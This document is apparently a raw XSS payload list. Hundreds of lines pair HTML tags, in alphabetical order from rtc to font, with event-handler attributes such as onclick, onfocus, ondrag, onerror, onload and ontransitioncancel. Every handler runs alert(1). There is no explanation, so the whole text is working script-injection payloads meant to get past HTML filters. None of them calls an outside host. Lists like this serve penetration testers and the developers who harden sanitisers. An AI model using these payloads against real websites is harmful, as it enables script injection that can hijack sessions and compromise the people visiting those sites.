<rtc onmousemove="alert(1)">test</rtc>
<rtc onmouseout="alert(1)">test</rtc>
<rtc onmouseover="alert(1)">test</rtc>
<rtc onmouseup="alert(1)">test</rtc>
<rtc onpaste="alert(1)" contenteditable>test</rtc>
<ruby draggable="true" ondrag="alert(1)">test</ruby>
<ruby draggable="true" ondragend="alert(1)">test</ruby>
<ruby draggable="true" ondragenter="alert(1)">test</ruby>
<ruby draggable="true" ondragleave="alert(1)">test</ruby>
<ruby draggable="true" ondragstart="alert(1)">test</ruby>
<ruby id=x tabindex=1 onactivate=alert(1)></ruby>
<ruby id=x tabindex=1 onbeforeactivate=alert(1)></ruby>
<ruby id=x tabindex=1 onbeforedeactivate=alert(1)></ruby><input autofocus>
<ruby id=x tabindex=1 ondeactivate=alert(1)></ruby><input id=y autofocus>
<ruby id=x tabindex=1 onfocus=alert(1)></ruby>
<ruby id=x tabindex=1 onfocusin=alert(1)></ruby>
<ruby onbeforecopy="alert(1)" contenteditable>test</ruby>
<ruby onbeforecut="alert(1)" contenteditable>test</ruby>
<ruby onbeforepaste="alert(1)" contenteditable>test</ruby>
<ruby onblur=alert(1) tabindex=1 id=x></ruby><input autofocus>
<ruby onclick="alert(1)">test</ruby>
<ruby oncontextmenu="alert(1)">test</ruby>
<ruby oncopy="alert(1)" contenteditable>test</ruby>
<ruby oncut="alert(1)" contenteditable>test</ruby>
<ruby ondblclick="alert(1)">test</ruby>
<ruby onfocusout=alert(1) tabindex=1 id=x></ruby><input autofocus>
<ruby onkeydown="alert(1)" contenteditable>test</ruby>
<ruby onkeypress="alert(1)" contenteditable>test</ruby>
<ruby onkeyup="alert(1)" contenteditable>test</ruby>
<ruby onmousedown="alert(1)">test</ruby>
<ruby onmouseenter="alert(1)">test</ruby>
<ruby onmouseleave="alert(1)">test</ruby>
<ruby onmousemove="alert(1)">test</ruby>
<ruby onmouseout="alert(1)">test</ruby>
<ruby onmouseover="alert(1)">test</ruby>
<ruby onmouseup="alert(1)">test</ruby>
<ruby onpaste="alert(1)" contenteditable>test</ruby>
<s draggable="true" ondrag="alert(1)">test</s>
<s draggable="true" ondragend="alert(1)">test</s>
<s draggable="true" ondragenter="alert(1)">test</s>
<s draggable="true" ondragleave="alert(1)">test</s>
<s draggable="true" ondragstart="alert(1)">test</s>
<s id=x tabindex=1 onactivate=alert(1)></s>
<s id=x tabindex=1 onbeforeactivate=alert(1)></s>
<s id=x tabindex=1 onbeforedeactivate=alert(1)></s><input autofocus>
<s id=x tabindex=1 ondeactivate=alert(1)></s><input id=y autofocus>
<s id=x tabindex=1 onfocus=alert(1)></s>
<s id=x tabindex=1 onfocusin=alert(1)></s>
<s onbeforecopy="alert(1)" contenteditable>test</s>
<s onbeforecut="alert(1)" contenteditable>test</s>
<s onbeforepaste="alert(1)" contenteditable>test</s>
<s onblur=alert(1) tabindex=1 id=x></s><input autofocus>
<s onclick="alert(1)">test</s>
<s oncontextmenu="alert(1)">test</s>
<s oncopy="alert(1)" contenteditable>test</s>
<s oncut="alert(1)" contenteditable>test</s>
<s ondblclick="alert(1)">test</s>
<s onfocusout=alert(1) tabindex=1 id=x></s><input autofocus>
<s onkeydown="alert(1)" contenteditable>test</s>
<s onkeypress="alert(1)" contenteditable>test</s>
<s onkeyup="alert(1)" contenteditable>test</s>
<s onmousedown="alert(1)">test</s>
<s onmouseenter="alert(1)">test</s>
<s onmouseleave="alert(1)">test</s>
<s onmousemove="alert(1)">test</s>
<s onmouseout="alert(1)">test</s>
<s onmouseover="alert(1)">test</s>
<s onmouseup="alert(1)">test</s>
<s onpaste="alert(1)" contenteditable>test</s>
<samp draggable="true" ondrag="alert(1)">test</samp>
<samp draggable="true" ondragend="alert(1)">test</samp>
<samp draggable="true" ondragenter="alert(1)">test</samp>
<samp draggable="true" ondragleave="alert(1)">test</samp>
<samp draggable="true" ondragstart="alert(1)">test</samp>
<samp id=x tabindex=1 onactivate=alert(1)></samp>
<samp id=x tabindex=1 onbeforeactivate=alert(1)></samp>
<samp id=x tabindex=1 onbeforedeactivate=alert(1)></samp><input autofocus>
<samp id=x tabindex=1 ondeactivate=alert(1)></samp><input id=y autofocus>
<samp id=x tabindex=1 onfocus=alert(1)></samp>
<samp id=x tabindex=1 onfocusin=alert(1)></samp>
<samp onbeforecopy="alert(1)" contenteditable>test</samp>
<samp onbeforecut="alert(1)" contenteditable>test</samp>
<samp onbeforepaste="alert(1)" contenteditable>test</samp>
<samp onblur=alert(1) tabindex=1 id=x></samp><input autofocus>
<samp onclick="alert(1)">test</samp>
<samp oncontextmenu="alert(1)">test</samp>
<samp oncopy="alert(1)" contenteditable>test</samp>
<samp oncut="alert(1)" contenteditable>test</samp>
<samp ondblclick="alert(1)">test</samp>
<samp onfocusout=alert(1) tabindex=1 id=x></samp><input autofocus>
<samp onkeydown="alert(1)" contenteditable>test</samp>
<samp onkeypress="alert(1)" contenteditable>test</samp>
<samp onkeyup="alert(1)" contenteditable>test</samp>
<samp onmousedown="alert(1)">test</samp>
<samp onmouseenter="alert(1)">test</samp>
<samp onmouseleave="alert(1)">test</samp>
<samp onmousemove="alert(1)">test</samp>
<samp onmouseout="alert(1)">test</samp>
<samp onmouseover="alert(1)">test</samp>
<samp onmouseup="alert(1)">test</samp>
<samp onpaste="alert(1)" contenteditable>test</samp>
<script draggable="true" ondrag="alert(1)">test</script>
<script draggable="true" ondragend="alert(1)">test</script>
<script draggable="true" ondragenter="alert(1)">test</script>
<script draggable="true" ondragleave="alert(1)">test</script>
<script draggable="true" ondragstart="alert(1)">test</script>
<script id=x tabindex=1 onactivate=alert(1)></script>
<script id=x tabindex=1 onbeforeactivate=alert(1)></script>
<script id=x tabindex=1 onbeforedeactivate=alert(1)></script><input autofocus>
<script id=x tabindex=1 ondeactivate=alert(1)></script><input id=y autofocus>
<script id=x tabindex=1 onfocus=alert(1)></script>
<script id=x tabindex=1 onfocusin=alert(1)></script>
<script onbeforecopy="alert(1)" contenteditable>test</script>
<script onbeforecut="alert(1)" contenteditable>test</script>
<script onbeforepaste="alert(1)" contenteditable>test</script>
<script onblur=alert(1) tabindex=1 id=x></script><input autofocus>
<script onclick="alert(1)">test</script>
<script oncontextmenu="alert(1)">test</script>
<script oncopy="alert(1)" contenteditable>test</script>
<script oncut="alert(1)" contenteditable>test</script>
<script ondblclick="alert(1)">test</script>
<script onerror=alert(1) src=/></script>
<script onfocusout=alert(1) tabindex=1 id=x></script><input autofocus>
<script onkeydown="alert(1)" contenteditable>test</script>
<script onkeypress="alert(1)" contenteditable>test</script>
<script onkeyup="alert(1)" contenteditable>test</script>
<script onload=alert(1) src=validjs.js></script>
<script onmousedown="alert(1)">test</script>
<script onmouseenter="alert(1)">test</script>
<script onmouseleave="alert(1)">test</script>
<script onmousemove="alert(1)">test</script>
<script onmouseout="alert(1)">test</script>
<script onmouseover="alert(1)">test</script>
<script onmouseup="alert(1)">test</script>
<script onpaste="alert(1)" contenteditable>test</script>
<script onreadystatechange=alert(1)></script>
<section draggable="true" ondrag="alert(1)">test</section>
<section draggable="true" ondragend="alert(1)">test</section>
<section draggable="true" ondragenter="alert(1)">test</section>
<section draggable="true" ondragleave="alert(1)">test</section>
<section draggable="true" ondragstart="alert(1)">test</section>
<section id=x tabindex=1 onactivate=alert(1)></section>
<section id=x tabindex=1 onbeforeactivate=alert(1)></section>
<section id=x tabindex=1 onbeforedeactivate=alert(1)></section><input autofocus>
<section id=x tabindex=1 ondeactivate=alert(1)></section><input id=y autofocus>
<section id=x tabindex=1 onfocus=alert(1)></section>
<section id=x tabindex=1 onfocusin=alert(1)></section>
<section onbeforecopy="alert(1)" contenteditable>test</section>
<section onbeforecut="alert(1)" contenteditable>test</section>
<section onbeforepaste="alert(1)" contenteditable>test</section>
<section onblur=alert(1) tabindex=1 id=x></section><input autofocus>
<section onclick="alert(1)">test</section>
<section oncontextmenu="alert(1)">test</section>
<section oncopy="alert(1)" contenteditable>test</section>
<section oncut="alert(1)" contenteditable>test</section>
<section ondblclick="alert(1)">test</section>
<section onfocusout=alert(1) tabindex=1 id=x></section><input autofocus>
<section onkeydown="alert(1)" contenteditable>test</section>
<section onkeypress="alert(1)" contenteditable>test</section>
<section onkeyup="alert(1)" contenteditable>test</section>
<section onmousedown="alert(1)">test</section>
<section onmouseenter="alert(1)">test</section>
<section onmouseleave="alert(1)">test</section>
<section onmousemove="alert(1)">test</section>
<section onmouseout="alert(1)">test</section>
<section onmouseover="alert(1)">test</section>
<section onmouseup="alert(1)">test</section>
<section onpaste="alert(1)" contenteditable>test</section>
<select autofocus onfocus=alert(1)>
<select autofocus onfocusin=alert(1)>
<select draggable="true" ondrag="alert(1)">test</select>
<select draggable="true" ondragend="alert(1)">test</select>
<select draggable="true" ondragenter="alert(1)">test</select>
<select draggable="true" ondragleave="alert(1)">test</select>
<select draggable="true" ondragstart="alert(1)">test</select>
<select id=x tabindex=1 onactivate=alert(1)></select>
<select id=x tabindex=1 onbeforeactivate=alert(1)></select>
<select id=x tabindex=1 onbeforedeactivate=alert(1)></select><input autofocus>
<select id=x tabindex=1 ondeactivate=alert(1)></select><input id=y autofocus>
<select onbeforecopy="alert(1)" contenteditable>test</select>
<select onbeforecut="alert(1)" contenteditable>test</select>
<select onbeforepaste="alert(1)" contenteditable>test</select>
<select onblur=alert(1) id=x></select><input autofocus>
<select onchange=alert(1)><option>change me</option><option>XSS</option></select>
<select onclick="alert(1)">test</select>
<select oncontextmenu="alert(1)">test</select>
<select oncopy="alert(1)" contenteditable>test</select>
<select oncut="alert(1)" contenteditable>test</select>
<select ondblclick="alert(1)">test</select>
<select onfocusout=alert(1) id=x></select><input autofocus>
<select onkeydown="alert(1)" contenteditable>test</select>
<select onkeypress="alert(1)" contenteditable>test</select>
<select onkeyup="alert(1)" contenteditable>test</select>
<select onmousedown="alert(1)">test</select>
<select onmouseenter="alert(1)">test</select>
<select onmouseleave="alert(1)">test</select>
<select onmousemove="alert(1)">test</select>
<select onmouseout="alert(1)">test</select>
<select onmouseover="alert(1)">test</select>
<select onmouseup="alert(1)">test</select>
<select onpaste="alert(1)" contenteditable>test</select>
<shadow draggable="true" ondrag="alert(1)">test</shadow>
<shadow draggable="true" ondragend="alert(1)">test</shadow>
<shadow draggable="true" ondragenter="alert(1)">test</shadow>
<shadow draggable="true" ondragleave="alert(1)">test</shadow>
<shadow draggable="true" ondragstart="alert(1)">test</shadow>
<shadow id=x tabindex=1 onactivate=alert(1)></shadow>
<shadow id=x tabindex=1 onbeforeactivate=alert(1)></shadow>
<shadow id=x tabindex=1 onbeforedeactivate=alert(1)></shadow><input autofocus>
<shadow id=x tabindex=1 ondeactivate=alert(1)></shadow><input id=y autofocus>
<shadow id=x tabindex=1 onfocus=alert(1)></shadow>
<shadow id=x tabindex=1 onfocusin=alert(1)></shadow>
<shadow onbeforecopy="alert(1)" contenteditable>test</shadow>
<shadow onbeforecut="alert(1)" contenteditable>test</shadow>
<shadow onbeforepaste="alert(1)" contenteditable>test</shadow>
<shadow onblur=alert(1) tabindex=1 id=x></shadow><input autofocus>
<shadow onclick="alert(1)">test</shadow>
<shadow oncontextmenu="alert(1)">test</shadow>
<shadow oncopy="alert(1)" contenteditable>test</shadow>
<shadow oncut="alert(1)" contenteditable>test</shadow>
<shadow ondblclick="alert(1)">test</shadow>
<shadow onfocusout=alert(1) tabindex=1 id=x></shadow><input autofocus>
<shadow onkeydown="alert(1)" contenteditable>test</shadow>
<shadow onkeypress="alert(1)" contenteditable>test</shadow>
<shadow onkeyup="alert(1)" contenteditable>test</shadow>
<shadow onmousedown="alert(1)">test</shadow>
<shadow onmouseenter="alert(1)">test</shadow>
<shadow onmouseleave="alert(1)">test</shadow>
<shadow onmousemove="alert(1)">test</shadow>
<shadow onmouseout="alert(1)">test</shadow>
<shadow onmouseover="alert(1)">test</shadow>
<shadow onmouseup="alert(1)">test</shadow>
<shadow onpaste="alert(1)" contenteditable>test</shadow>
<slot draggable="true" ondrag="alert(1)">test</slot>
<slot draggable="true" ondragend="alert(1)">test</slot>
<slot draggable="true" ondragenter="alert(1)">test</slot>
<slot draggable="true" ondragleave="alert(1)">test</slot>
<slot draggable="true" ondragstart="alert(1)">test</slot>
<slot id=x tabindex=1 onactivate=alert(1)></slot>
<slot id=x tabindex=1 onbeforeactivate=alert(1)></slot>
<slot id=x tabindex=1 onbeforedeactivate=alert(1)></slot><input autofocus>
<slot id=x tabindex=1 ondeactivate=alert(1)></slot><input id=y autofocus>
<slot id=x tabindex=1 onfocus=alert(1)></slot>
<slot id=x tabindex=1 onfocusin=alert(1)></slot>
<slot onbeforecopy="alert(1)" contenteditable>test</slot>
<slot onbeforecut="alert(1)" contenteditable>test</slot>
<slot onbeforepaste="alert(1)" contenteditable>test</slot>
<slot onblur=alert(1) tabindex=1 id=x></slot><input autofocus>
<slot onclick="alert(1)">test</slot>
<slot oncontextmenu="alert(1)">test</slot>
<slot oncopy="alert(1)" contenteditable>test</slot>
<slot oncut="alert(1)" contenteditable>test</slot>
<slot ondblclick="alert(1)">test</slot>
<slot onfocusout=alert(1) tabindex=1 id=x></slot><input autofocus>
<slot onkeydown="alert(1)" contenteditable>test</slot>
<slot onkeypress="alert(1)" contenteditable>test</slot>
<slot onkeyup="alert(1)" contenteditable>test</slot>
<slot onmousedown="alert(1)">test</slot>
<slot onmouseenter="alert(1)">test</slot>
<slot onmouseleave="alert(1)">test</slot>
<slot onmousemove="alert(1)">test</slot>
<slot onmouseout="alert(1)">test</slot>
<slot onmouseover="alert(1)">test</slot>
<slot onmouseup="alert(1)">test</slot>
<slot onpaste="alert(1)" contenteditable>test</slot>
<small draggable="true" ondrag="alert(1)">test</small>
<small draggable="true" ondragend="alert(1)">test</small>
<small draggable="true" ondragenter="alert(1)">test</small>
<small draggable="true" ondragleave="alert(1)">test</small>
<small draggable="true" ondragstart="alert(1)">test</small>
<small id=x tabindex=1 onactivate=alert(1)></small>
<small id=x tabindex=1 onbeforeactivate=alert(1)></small>
<small id=x tabindex=1 onbeforedeactivate=alert(1)></small><input autofocus>
<small id=x tabindex=1 ondeactivate=alert(1)></small><input id=y autofocus>
<small id=x tabindex=1 onfocus=alert(1)></small>
<small id=x tabindex=1 onfocusin=alert(1)></small>
<small onbeforecopy="alert(1)" contenteditable>test</small>
<small onbeforecut="alert(1)" contenteditable>test</small>
<small onbeforepaste="alert(1)" contenteditable>test</small>
<small onblur=alert(1) tabindex=1 id=x></small><input autofocus>
<small onclick="alert(1)">test</small>
<small oncontextmenu="alert(1)">test</small>
<small oncopy="alert(1)" contenteditable>test</small>
<small oncut="alert(1)" contenteditable>test</small>
<small ondblclick="alert(1)">test</small>
<small onfocusout=alert(1) tabindex=1 id=x></small><input autofocus>
<small onkeydown="alert(1)" contenteditable>test</small>
<small onkeypress="alert(1)" contenteditable>test</small>
<small onkeyup="alert(1)" contenteditable>test</small>
<small onmousedown="alert(1)">test</small>
<small onmouseenter="alert(1)">test</small>
<small onmouseleave="alert(1)">test</small>
<small onmousemove="alert(1)">test</small>
<small onmouseout="alert(1)">test</small>
<small onmouseover="alert(1)">test</small>
<small onmouseup="alert(1)">test</small>
<small onpaste="alert(1)" contenteditable>test</small>
<source draggable="true" ondrag="alert(1)">test</source>
<source draggable="true" ondragend="alert(1)">test</source>
<source draggable="true" ondragenter="alert(1)">test</source>
<source draggable="true" ondragleave="alert(1)">test</source>
<source draggable="true" ondragstart="alert(1)">test</source>
<source id=x tabindex=1 onactivate=alert(1)></source>
<source id=x tabindex=1 onbeforeactivate=alert(1)></source>
<source id=x tabindex=1 onbeforedeactivate=alert(1)></source><input autofocus>
<source id=x tabindex=1 ondeactivate=alert(1)></source><input id=y autofocus>
<source id=x tabindex=1 onfocus=alert(1)></source>
<source id=x tabindex=1 onfocusin=alert(1)></source>
<source onbeforecopy="alert(1)" contenteditable>test</source>
<source onbeforecut="alert(1)" contenteditable>test</source>
<source onbeforepaste="alert(1)" contenteditable>test</source>
<source onblur=alert(1) tabindex=1 id=x></source><input autofocus>
<source onclick="alert(1)">test</source>
<source oncontextmenu="alert(1)">test</source>
<source oncopy="alert(1)" contenteditable>test</source>
<source oncut="alert(1)" contenteditable>test</source>
<source ondblclick="alert(1)">test</source>
<source onfocusout=alert(1) tabindex=1 id=x></source><input autofocus>
<source onkeydown="alert(1)" contenteditable>test</source>
<source onkeypress="alert(1)" contenteditable>test</source>
<source onkeyup="alert(1)" contenteditable>test</source>
<source onmousedown="alert(1)">test</source>
<source onmouseenter="alert(1)">test</source>
<source onmouseleave="alert(1)">test</source>
<source onmousemove="alert(1)">test</source>
<source onmouseout="alert(1)">test</source>
<source onmouseover="alert(1)">test</source>
<source onmouseup="alert(1)">test</source>
<source onpaste="alert(1)" contenteditable>test</source>
<spacer draggable="true" ondrag="alert(1)">test</spacer>
<spacer draggable="true" ondragend="alert(1)">test</spacer>
<spacer draggable="true" ondragenter="alert(1)">test</spacer>
<spacer draggable="true" ondragleave="alert(1)">test</spacer>
<spacer draggable="true" ondragstart="alert(1)">test</spacer>
<spacer id=x tabindex=1 onactivate=alert(1)></spacer>
<spacer id=x tabindex=1 onbeforeactivate=alert(1)></spacer>
<spacer id=x tabindex=1 onbeforedeactivate=alert(1)></spacer><input autofocus>
<spacer id=x tabindex=1 ondeactivate=alert(1)></spacer><input id=y autofocus>
<spacer id=x tabindex=1 onfocus=alert(1)></spacer>
<spacer id=x tabindex=1 onfocusin=alert(1)></spacer>
<spacer onbeforecopy="alert(1)" contenteditable>test</spacer>
<spacer onbeforecut="alert(1)" contenteditable>test</spacer>
<spacer onbeforepaste="alert(1)" contenteditable>test</spacer>
<spacer onblur=alert(1) tabindex=1 id=x></spacer><input autofocus>
<spacer onclick="alert(1)">test</spacer>
<spacer oncontextmenu="alert(1)">test</spacer>
<spacer oncopy="alert(1)" contenteditable>test</spacer>
<spacer oncut="alert(1)" contenteditable>test</spacer>
<spacer ondblclick="alert(1)">test</spacer>
<spacer onfocusout=alert(1) tabindex=1 id=x></spacer><input autofocus>
<spacer onkeydown="alert(1)" contenteditable>test</spacer>
<spacer onkeypress="alert(1)" contenteditable>test</spacer>
<spacer onkeyup="alert(1)" contenteditable>test</spacer>
<spacer onmousedown="alert(1)">test</spacer>
<spacer onmouseenter="alert(1)">test</spacer>
<spacer onmouseleave="alert(1)">test</spacer>
<spacer onmousemove="alert(1)">test</spacer>
<spacer onmouseout="alert(1)">test</spacer>
<spacer onmouseover="alert(1)">test</spacer>
<spacer onmouseup="alert(1)">test</spacer>
<spacer onpaste="alert(1)" contenteditable>test</spacer>
<span draggable="true" ondrag="alert(1)">test</span>
<span draggable="true" ondragend="alert(1)">test</span>
<span draggable="true" ondragenter="alert(1)">test</span>
<span draggable="true" ondragleave="alert(1)">test</span>
<span draggable="true" ondragstart="alert(1)">test</span>
<span id=x tabindex=1 onactivate=alert(1)></span>
<span id=x tabindex=1 onbeforeactivate=alert(1)></span>
<span id=x tabindex=1 onbeforedeactivate=alert(1)></span><input autofocus>
<span id=x tabindex=1 ondeactivate=alert(1)></span><input id=y autofocus>
<span id=x tabindex=1 onfocus=alert(1)></span>
<span id=x tabindex=1 onfocusin=alert(1)></span>
<span onbeforecopy="alert(1)" contenteditable>test</span>
<span onbeforecut="alert(1)" contenteditable>test</span>
<span onbeforepaste="alert(1)" contenteditable>test</span>
<span onblur=alert(1) tabindex=1 id=x></span><input autofocus>
<span onclick="alert(1)">test</span>
<span oncontextmenu="alert(1)">test</span>
<span oncopy="alert(1)" contenteditable>test</span>
<span oncut="alert(1)" contenteditable>test</span>
<span ondblclick="alert(1)">test</span>
<span onfocusout=alert(1) tabindex=1 id=x></span><input autofocus>
<span onkeydown="alert(1)" contenteditable>test</span>
<span onkeypress="alert(1)" contenteditable>test</span>
<span onkeyup="alert(1)" contenteditable>test</span>
<span onmousedown="alert(1)">test</span>
<span onmouseenter="alert(1)">test</span>
<span onmouseleave="alert(1)">test</span>
<span onmousemove="alert(1)">test</span>
<span onmouseout="alert(1)">test</span>
<span onmouseover="alert(1)">test</span>
<span onmouseup="alert(1)">test</span>
<span onpaste="alert(1)" contenteditable>test</span>
<strike draggable="true" ondrag="alert(1)">test</strike>
<strike draggable="true" ondragend="alert(1)">test</strike>
<strike draggable="true" ondragenter="alert(1)">test</strike>
<strike draggable="true" ondragleave="alert(1)">test</strike>
<strike draggable="true" ondragstart="alert(1)">test</strike>
<strike id=x tabindex=1 onactivate=alert(1)></strike>
<strike id=x tabindex=1 onbeforeactivate=alert(1)></strike>
<strike id=x tabindex=1 onbeforedeactivate=alert(1)></strike><input autofocus>
<strike id=x tabindex=1 ondeactivate=alert(1)></strike><input id=y autofocus>
<strike id=x tabindex=1 onfocus=alert(1)></strike>
<strike id=x tabindex=1 onfocusin=alert(1)></strike>
<strike onbeforecopy="alert(1)" contenteditable>test</strike>
<strike onbeforecut="alert(1)" contenteditable>test</strike>
<strike onbeforepaste="alert(1)" contenteditable>test</strike>
<strike onblur=alert(1) tabindex=1 id=x></strike><input autofocus>
<strike onclick="alert(1)">test</strike>
<strike oncontextmenu="alert(1)">test</strike>
<strike oncopy="alert(1)" contenteditable>test</strike>
<strike oncut="alert(1)" contenteditable>test</strike>
<strike ondblclick="alert(1)">test</strike>
<strike onfocusout=alert(1) tabindex=1 id=x></strike><input autofocus>
<strike onkeydown="alert(1)" contenteditable>test</strike>
<strike onkeypress="alert(1)" contenteditable>test</strike>
<strike onkeyup="alert(1)" contenteditable>test</strike>
<strike onmousedown="alert(1)">test</strike>
<strike onmouseenter="alert(1)">test</strike>
<strike onmouseleave="alert(1)">test</strike>
<strike onmousemove="alert(1)">test</strike>
<strike onmouseout="alert(1)">test</strike>
<strike onmouseover="alert(1)">test</strike>
<strike onmouseup="alert(1)">test</strike>
<strike onpaste="alert(1)" contenteditable>test</strike>
<strong draggable="true" ondrag="alert(1)">test</strong>
<strong draggable="true" ondragend="alert(1)">test</strong>
<strong draggable="true" ondragenter="alert(1)">test</strong>
<strong draggable="true" ondragleave="alert(1)">test</strong>
<strong draggable="true" ondragstart="alert(1)">test</strong>
<strong id=x tabindex=1 onactivate=alert(1)></strong>
<strong id=x tabindex=1 onbeforeactivate=alert(1)></strong>
<strong id=x tabindex=1 onbeforedeactivate=alert(1)></strong><input autofocus>
<strong id=x tabindex=1 ondeactivate=alert(1)></strong><input id=y autofocus>
<strong id=x tabindex=1 onfocus=alert(1)></strong>
<strong id=x tabindex=1 onfocusin=alert(1)></strong>
<strong onbeforecopy="alert(1)" contenteditable>test</strong>
<strong onbeforecut="alert(1)" contenteditable>test</strong>
<strong onbeforepaste="alert(1)" contenteditable>test</strong>
<strong onblur=alert(1) tabindex=1 id=x></strong><input autofocus>
<strong onclick="alert(1)">test</strong>
<strong oncontextmenu="alert(1)">test</strong>
<strong oncopy="alert(1)" contenteditable>test</strong>
<strong oncut="alert(1)" contenteditable>test</strong>
<strong ondblclick="alert(1)">test</strong>
<strong onfocusout=alert(1) tabindex=1 id=x></strong><input autofocus>
<strong onkeydown="alert(1)" contenteditable>test</strong>
<strong onkeypress="alert(1)" contenteditable>test</strong>
<strong onkeyup="alert(1)" contenteditable>test</strong>
<strong onmousedown="alert(1)">test</strong>
<strong onmouseenter="alert(1)">test</strong>
<strong onmouseleave="alert(1)">test</strong>
<strong onmousemove="alert(1)">test</strong>
<strong onmouseout="alert(1)">test</strong>
<strong onmouseover="alert(1)">test</strong>
<strong onmouseup="alert(1)">test</strong>
<strong onpaste="alert(1)" contenteditable>test</strong>
<style draggable="true" ondrag="alert(1)">test</style>
<style draggable="true" ondragend="alert(1)">test</style>
<style draggable="true" ondragenter="alert(1)">test</style>
<style draggable="true" ondragleave="alert(1)">test</style>
<style draggable="true" ondragstart="alert(1)">test</style>
<style id=x tabindex=1 onactivate=alert(1)></style>
<style id=x tabindex=1 onbeforeactivate=alert(1)></style>
<style id=x tabindex=1 onbeforedeactivate=alert(1)></style><input autofocus>
<style id=x tabindex=1 ondeactivate=alert(1)></style><input id=y autofocus>
<style id=x tabindex=1 onfocus=alert(1)></style>
<style id=x tabindex=1 onfocusin=alert(1)></style>
<style onbeforecopy="alert(1)" contenteditable>test</style>
<style onbeforecut="alert(1)" contenteditable>test</style>
<style onbeforepaste="alert(1)" contenteditable>test</style>
<style onblur=alert(1) tabindex=1 id=x></style><input autofocus>
<style onclick="alert(1)">test</style>
<style oncontextmenu="alert(1)">test</style>
<style oncopy="alert(1)" contenteditable>test</style>
<style oncut="alert(1)" contenteditable>test</style>
<style ondblclick="alert(1)">test</style>
<style onfocusout=alert(1) tabindex=1 id=x></style><input autofocus>
<style onkeydown="alert(1)" contenteditable>test</style>
<style onkeypress="alert(1)" contenteditable>test</style>
<style onkeyup="alert(1)" contenteditable>test</style>
<style onload=alert(1)></style>
<style onmousedown="alert(1)">test</style>
<style onmouseenter="alert(1)">test</style>
<style onmouseleave="alert(1)">test</style>
<style onmousemove="alert(1)">test</style>
<style onmouseout="alert(1)">test</style>
<style onmouseover="alert(1)">test</style>
<style onmouseup="alert(1)">test</style>
<style onpaste="alert(1)" contenteditable>test</style>
<style onreadystatechange=alert(1)></style>
<style>:target {color: red;}</style><a id=x style="transition:color 10s" ontransitioncancel=alert(1)></a>
<style>:target {color: red;}</style><abbr id=x style="transition:color 10s" ontransitioncancel=alert(1)></abbr>
<style>:target {color: red;}</style><acronym id=x style="transition:color 10s" ontransitioncancel=alert(1)></acronym>
<style>:target {color: red;}</style><address id=x style="transition:color 10s" ontransitioncancel=alert(1)></address>
<style>:target {color: red;}</style><applet id=x style="transition:color 10s" ontransitioncancel=alert(1)></applet>
<style>:target {color: red;}</style><area id=x style="transition:color 10s" ontransitioncancel=alert(1)></area>
<style>:target {color: red;}</style><article id=x style="transition:color 10s" ontransitioncancel=alert(1)></article>
<style>:target {color: red;}</style><aside id=x style="transition:color 10s" ontransitioncancel=alert(1)></aside>
<style>:target {color: red;}</style><audio id=x style="transition:color 10s" ontransitioncancel=alert(1)></audio>
<style>:target {color: red;}</style><b id=x style="transition:color 10s" ontransitioncancel=alert(1)></b>
<style>:target {color: red;}</style><base id=x style="transition:color 10s" ontransitioncancel=alert(1)></base>
<style>:target {color: red;}</style><basefont id=x style="transition:color 10s" ontransitioncancel=alert(1)></basefont>
<style>:target {color: red;}</style><bdi id=x style="transition:color 10s" ontransitioncancel=alert(1)></bdi>
<style>:target {color: red;}</style><bdo id=x style="transition:color 10s" ontransitioncancel=alert(1)></bdo>
<style>:target {color: red;}</style><bgsound id=x style="transition:color 10s" ontransitioncancel=alert(1)></bgsound>
<style>:target {color: red;}</style><big id=x style="transition:color 10s" ontransitioncancel=alert(1)></big>
<style>:target {color: red;}</style><blink id=x style="transition:color 10s" ontransitioncancel=alert(1)></blink>
<style>:target {color: red;}</style><blockquote id=x style="transition:color 10s" ontransitioncancel=alert(1)></blockquote>
<style>:target {color: red;}</style><body id=x style="transition:color 10s" ontransitioncancel=alert(1)></body>
<style>:target {color: red;}</style><br id=x style="transition:color 10s" ontransitioncancel=alert(1)></br>
<style>:target {color: red;}</style><button id=x style="transition:color 10s" ontransitioncancel=alert(1)></button>
<style>:target {color: red;}</style><canvas id=x style="transition:color 10s" ontransitioncancel=alert(1)></canvas>
<style>:target {color: red;}</style><caption id=x style="transition:color 10s" ontransitioncancel=alert(1)></caption>
<style>:target {color: red;}</style><center id=x style="transition:color 10s" ontransitioncancel=alert(1)></center>
<style>:target {color: red;}</style><cite id=x style="transition:color 10s" ontransitioncancel=alert(1)></cite>
<style>:target {color: red;}</style><code id=x style="transition:color 10s" ontransitioncancel=alert(1)></code>
<style>:target {color: red;}</style><col id=x style="transition:color 10s" ontransitioncancel=alert(1)></col>
<style>:target {color: red;}</style><colgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></colgroup>
<style>:target {color: red;}</style><command id=x style="transition:color 10s" ontransitioncancel=alert(1)></command>
<style>:target {color: red;}</style><content id=x style="transition:color 10s" ontransitioncancel=alert(1)></content>
<style>:target {color: red;}</style><data id=x style="transition:color 10s" ontransitioncancel=alert(1)></data>
<style>:target {color: red;}</style><datalist id=x style="transition:color 10s" ontransitioncancel=alert(1)></datalist>
<style>:target {color: red;}</style><dd id=x style="transition:color 10s" ontransitioncancel=alert(1)></dd>
<style>:target {color: red;}</style><del id=x style="transition:color 10s" ontransitioncancel=alert(1)></del>
<style>:target {color: red;}</style><details id=x style="transition:color 10s" ontransitioncancel=alert(1)></details>
<style>:target {color: red;}</style><dfn id=x style="transition:color 10s" ontransitioncancel=alert(1)></dfn>
<style>:target {color: red;}</style><dialog id=x style="transition:color 10s" ontransitioncancel=alert(1)></dialog>
<style>:target {color: red;}</style><dir id=x style="transition:color 10s" ontransitioncancel=alert(1)></dir>
<style>:target {color: red;}</style><div id=x style="transition:color 10s" ontransitioncancel=alert(1)></div>
<style>:target {color: red;}</style><dl id=x style="transition:color 10s" ontransitioncancel=alert(1)></dl>
<style>:target {color: red;}</style><dt id=x style="transition:color 10s" ontransitioncancel=alert(1)></dt>
<style>:target {color: red;}</style><element id=x style="transition:color 10s" ontransitioncancel=alert(1)></element>
<style>:target {color: red;}</style><em id=x style="transition:color 10s" ontransitioncancel=alert(1)></em>
<style>:target {color: red;}</style><embed id=x style="transition:color 10s" ontransitioncancel=alert(1)></embed>
<style>:target {color: red;}</style><fieldset id=x style="transition:color 10s" ontransitioncancel=alert(1)></fieldset>
<style>:target {color: red;}</style><figcaption id=x style="transition:color 10s" ontransitioncancel=alert(1)></figcaption>
<style>:target {color: red;}</style><figure id=x style="transition:color 10s" ontransitioncancel=alert(1)></figure>
<style>:target {color: red;}</style><font id=x style="transition:color 10s" ontransitioncancel=alert(1)></font>
